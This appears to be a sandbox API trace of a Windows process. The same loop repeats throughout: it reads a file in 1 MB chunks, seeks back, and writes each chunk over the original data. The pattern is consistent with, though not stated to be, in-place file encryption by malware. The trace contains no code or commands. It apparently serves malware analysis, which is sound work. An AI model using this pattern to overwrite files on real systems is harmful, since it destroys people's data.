	[0105.299] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0105.301] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0105.305] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0105.314] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0105.330] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0105.355] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0105.358] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0105.358] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0105.360] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0105.363] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0105.368] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0105.379] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0105.393] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0105.396] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0105.397] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0105.398] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0105.401] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0105.409] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0105.425] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0105.439] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0105.442] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0105.442] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0105.444] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0105.447] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0105.452] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0105.461] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0105.476] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0105.479] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0105.479] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0105.481] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0105.484] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0105.492] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0105.508] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0105.523] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0105.525] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0105.525] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0105.527] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0105.530] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0105.536] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0105.545] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0105.559] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0105.562] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0105.562] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0105.563] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0105.566] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0105.574] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0105.591] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0105.606] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0105.609] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0105.609] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0105.610] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0105.613] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0105.619] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0105.629] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0105.643] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0105.646] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0105.646] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0105.648] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0105.651] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0105.667] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0105.744] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0105.755] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0105.758] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0105.758] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0105.760] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0105.762] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0105.796] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0105.811] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0105.828] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0105.832] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0105.832] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0105.835] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0105.839] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0105.847] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0105.861] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0105.877] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0105.880] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0105.880] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0105.882] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0105.886] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0105.893] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0105.936] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0105.951] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0105.955] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0105.955] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0105.957] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0105.959] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0105.967] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0105.981] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0106.011] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0106.016] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.016] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0106.018] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0106.022] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0106.030] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0106.042] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0106.059] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0106.093] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.093] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0106.094] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0106.097] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0106.105] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0106.126] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0106.145] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0106.149] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.149] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0106.151] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0106.155] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0106.162] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0106.174] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0106.194] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0106.197] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.197] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0106.199] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0106.234] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0106.243] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0106.255] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0106.275] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0106.288] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.288] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0106.291] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0106.294] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0106.301] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0106.313] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0106.332] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0106.335] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.335] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0106.337] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0106.340] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0106.367] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0106.379] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0106.399] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0106.403] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.403] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0106.406] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0106.410] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0106.417] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0106.434] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0106.462] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0106.503] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.504] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0106.506] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0106.515] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0106.537] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0106.563] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0106.582] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0106.585] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.585] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0106.586] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0106.589] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0106.595] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0106.607] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0106.792] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0106.795] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.795] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0106.797] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0106.801] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0106.811] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0106.819] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0106.841] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0106.845] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.845] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0106.847] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0106.851] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0106.857] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
